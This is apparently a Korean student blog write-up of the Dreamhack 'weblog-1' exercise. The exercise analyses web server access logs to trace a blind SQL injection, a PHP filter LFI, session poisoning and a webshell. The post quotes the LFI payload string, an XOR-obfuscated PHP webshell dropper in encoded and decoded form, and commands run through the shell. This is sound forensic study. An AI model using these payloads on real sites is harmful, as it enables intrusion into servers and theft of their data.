Web Hacking 과제_2(Dreamhack_weblog-1)

2024. 10. 30. 01:26hacking : p_study/Dreamhack

weblog-1 | 워게임 | Dreamhack | 워게임 | Dreamhack

 

weblog-1

주어진 코드와 로그를 분석해 주어진 질문에 해당하는 답을 찾아보세요. Reference Server-side Basic Server-side Advanced - SQL Injection

dreamhack.io

 

 

주어진 코드와 로그를 분석해 주어진 질문에 해당하는 답을 찾아보세요.

 

 

 

드림핵 문제를 풀면서 이런 유형의 문제는 처음본거 같다.

보니까 level별로 문제가 총 5개 구성되어있는 것 같다.

 

웹 로그분석이란? - 마케톨로지

 

웹 로그분석이란? - 마케톨로지

웹 로그 분석이란 무엇인가? 사이트 방문자에 대해 분석하는 작업을 ‘웹 로그분석’이라고 하고 이런 용도로 제작된 프로그램을 ‘웹 로그분석 툴’이라고 합니다. 가장 잘 알려진 웹 로그 분

marketology.co.kr

 

 

첫번째 문제

 

공격자에게 탈취된 admin 계정의 PW를 입력해주세요.
문제 파일은 문제 지문에서 확인할 수 있습니다.

 

 

 

공격자에게 탈취된 admin의 계정 pw를 찾는 것으로 파일을 다운받아서 코드를 살펴봐야겠다.

 

 

 

흠..잘 모르겠지만, php코드가 굉장히 많았다.

 

 

접근과 관련한 내용이 메모장에 적혀져있다.

웹로그 분석을 하는게 문제의 핵심이니 이부분으로 해결해야할 것 같았다.

 

방법을 찾아보자.

 

보다보니 쿼리의 결과가 참일 때 응답 패킷의 길이가 1192이고 거짓일 때 응답 패킷의 길이가 841인것을 알 수 있다.

그럼 응답 길이가 1192인 것만 긁어서 확인해보면 된다고 한다.

 

 

참인 쿼리 결과에서 해당 아스키 코드 값들을 뽑아보면 아래와 같다.

97,100,109,105,110,58,84,104,49,115,95,49,115,95,65,100,109,49,110,95,80,64,83,83,44,103,117,101,115,116,58,103,117,101,115,116

 

 

이 아스키 코드 값을 문자열로 바꿔보면 아래와 같다.

asc="97","100","109","105","110","58","84","104","49","115","95","49","115","95","65","100","109","49","110","95","80","64","83","83","44","103","117","101","115","116","58","103","117","101","115","116"
result=""

for i in range(len(asc)):
    result+=chr(int(asc[i]))

print(result)

 

 

admin:Th1s_1s_Adm1n_P@SS,guest:guest 문자열은 username:password 이기 때문에

admin 계정의 패스워드는 Th1s_1s_Adm1n_P@SS 이다.

 

 

 

 

두번째 문제

Q: 공격자가 config.php 코드를 추출하는데 사용한 페이로드를 입력해주세요.
문제 파일은 문제 지문에서 확인할 수 있습니다.

 

아 이제 왜그렇게 php가 많은지 알았다. 문제마다 봐야하는 php가 다르다.

 

GET /config.php HTTP/1.1


GET /admin/?page=php://filter/convert.base64-encode/resource=../config.php HTTP/1.1

 

두가지가 나오는데 아무래도 아래를 이용해야할 것 같다.

php://filter를 이용한 LFI 페이로드인데 "php://filter/convert.base64-encode/resource=../config.php" 이거다.!

 

 

 

다음 단계이다.

 

 

세번째 문제

 

Q: LFI 취약점을 통해 코드 실행 공격에 사용된 파일의 전체 경로를 입력해주세요. (파일 이름을 포함한 전체 경로)
문제 파일은 문제 지문에서 확인할 수 있습니다.

 

GET /admin/?page=php://filter/convert.base64-encode/resource=../config.php HTTP/1.1
GET /admin/?page=php://filter/convert.base64-encode/resource=users.php HTTP/1.1
GET /admin/?page=php://filter/convert.base64-encode/resource=memo.php HTTP/1.1
GET /admin/?page=memo.php&memo=%3C?php%20function%20m($l,$T=0){$K=date(%27Y-m-d%27);$_=strlen($l);$__=strlen($K);for($i=0;$i%3C$_;$i%2b%2b){for($j=0;$j%3C$__;%20$j%2b%2b){if($T){$l[$i]=$K[$j]^$l[$i];}else{$l[$i]=$l[$i]^$K[$j];}}}return%20$l;}%20m(%27bmha[tqp[gkjpajpw%27)(m(%27%2brev%2bsss%2blpih%2bqthke`w%2bmiecaw*tlt%27),m(%278;tlt$lae`av,%26LPPT%2b5*5$040$Jkp$Bkqj`%26-?w}wpai,%20[CAP_%26g%26Y-?%27));%20?%3E HTTP/1.1
GET /admin/?page=/var/lib/php/sessions/sess_ag4l8a5tbv8bkgqe9b9ull5732 HTTP/1.1

 

공격자는 LFI 취약점을 통해 php 파일 소스코드를 확인하고 /admin/memo.php 에 웹쉘을 삽입한다.

그리고 /var/lib/php/sessions/sess_ag4l8a5tbv8bkgqe9b9ull5732 페이지에 접속한다.

 

/admin/memo.php 를 보면 memo 파라미터에 입력한 값을 session[memo]에 저장한다.

공격자는 세션이 저장된 파일을 읽음과 동시에 PHP 구문을 실행시키려고 하는 것이다.

이 문제의 답은 /var/lib/php/sessions/sess_ag4l8a5tbv8bkgqe9b9ull5732 이다.

 

 

 

 

네번째 문제

Q: 생성된 웹쉘의 경로를 입력해주세요. (파일 이름을 포함한 전체 경로)
문제 파일은 문제 지문에서 확인할 수 있습니다.

 

공격자가 memo 페이지를 이용해 세션에 PHP 구문을 입력하고 해당 구문을 실행시키려 하는 것을 알아냈다.

문제를 보면 해당 구문이 웹쉘을 생성하는 구문인 것 같은데, memo를 분석해서 웹쉘 경로를 파악해보자.

 

GET /admin/?page=memo.php&memo=%3C?php%20function%20m($l,$T=0){$K=date(%27Y-m-d%27);$_=strlen($l);$__=strlen($K);for($i=0;$i%3C$_;$i%2b%2b){for($j=0;$j%3C$__;%20$j%2b%2b){if($T){$l[$i]=$K[$j]^$l[$i];}else{$l[$i]=$l[$i]^$K[$j];}}}return%20$l;}%20m(%27bmha[tqp[gkjpajpw%27)(m(%27%2brev%2bsss%2blpih%2bqthke`w%2bmiecaw*tlt%27),m(%278;tlt$lae`av,%26LPPT%2b5*5$040$Jkp$Bkqj`%26-?w}wpai,%20[CAP_%26g%26Y-?%27));%20?%3E HTTP/1.1

 

<?php function m($l,$T=0){$K=date('Y-m-d');$_=strlen($l);$__=strlen($K);for($i=0;$i<$_;$i++){for($j=0;$j<$__; $j++){if($T){$l[$i]=$K[$j]^$l[$i];}else{$l[$i]=$l[$i]^$K[$j];}}}return $l;} m('bmha[tqp[gkjpajpw')(m('+rev+sss+lpih+qthke`w+miecaw*tlt'),m('8;tlt$lae`av,&LPPT+5*5$040$Jkp$Bkqj`&-?w}wpai, [CAP_&g&Y-?')); ?>

 

function m($l,$T=0){
$K=date('Y-m-d');
$_=strlen($l);
$__=strlen($K);
for($i=0;$i<$_;$i++){
for($j=0;$j<$__; $j++){
if($T){
$l[$i]=$K[$j]^$l[$i];
}
else{
$l[$i]=$l[$i]^$K[$j];
}
}
}
return $l;
}
echo m('bmha[tqp[gkjpajpw');
echo m('+rev+sss+lpih+qthke`w+miecaw*tlt');
echo m('8;tlt$lae`av,&LPPT+5*5$040$Jkp$Bkqj`&-?w}wpai, [CAP_&g&Y-?');
?>

 

구문은 난독화가 되어있지만, $K 즉 date 값으로 복호화가 된다.

해당 구문을 php online compiler로 돌려보면, 이상한 결과가 나오는데,

php에서 date() 함수는 현재 날짜를 출력한다.

그럼 php 구문이 실행된 당시의 날짜로 해당 구문을 실행해야 한다.

 

Acess log에서 해당 구문이 실행된 날짜는 다음과 같다. [02/Jun/2020:09:55:39]

그럼 php 구문에서 $k='2020-06-02'로 수정해보자.

 

<?php
function m($l,$T=0){
$K='2020-06-02';
$_=strlen($l);
$__=strlen($K);
for($i=0;$i<$_;$i++){
for($j=0;$j<$__; $j++){
if($T){
$l[$i]=$K[$j]^$l[$i];
}
else{
$l[$i]=$l[$i]^$K[$j];
}
}
}
return $l;
}
echo m('bmha[tqp[gkjpajpw');
echo m('+rev+sss+lpih+qthke`w+miecaw*tlt');
echo m('8;tlt$lae`av,&LPPT+5*5$040$Jkp$Bkqj`&-?w}wpai, [CAP_&g&Y-?');
?>

 

웹쉘 파일 경로는 /var/www/html/uploads/images.php이다.

 

다음 문제이다.

 

다섯번째 문제

 

Q: 생성된 웹쉘을 통해 가장 처음으로 실행된 명령어를 입력해주세요.
문제 파일은 문제 지문에서 확인할 수 있습니다.

 

GET /admin/?page=/var/lib/php/sessions/sess_ag4l8a5tbv8bkgqe9b9ull5732 HTTP/1.1


GET /uploads/ HTTP/1.1


GET /uploads/memo.php?c=ls HTTP/1.1


GET /uploads/memo.php?c=id HTTP/1.1


GET /uploads/admin.php?c=id HTTP/1.1


GET /uploads/images.php?c=whoami HTTP/1.1


GET /uploads/apple.php?c=ls%20-al HTTP/1.1

 

생성된 웹쉘은 /uploads/images.php 이므로 처음 실행된 명령어는 whoami 이다.

 

 

 

문제가짓수가 많고, 내용도 웹로그분석이라는게 처음이라 와닿지 않았다.

그래도 최대한 실습을 보면서 따라가며 공부했는데, 익숙하지 않다보니 복습을 하면서 다시확인해야할 것 같다.

 

 

 

[참고한 자료]

https://mokpo.tistory.com/187

 

[dreamhack] weblog-1 문제풀이

[WEB] weblog-1 문제풀이 문제를 확인해보자. 주어진 코드와 로그를 분석해서 주어진 질문의 답을 찾으라고 한다. 일단 파일부터 다운로드 받아보자. 웹 서버의 Access log와 php로 작성된 소스코드 파

mokpo.tistory.com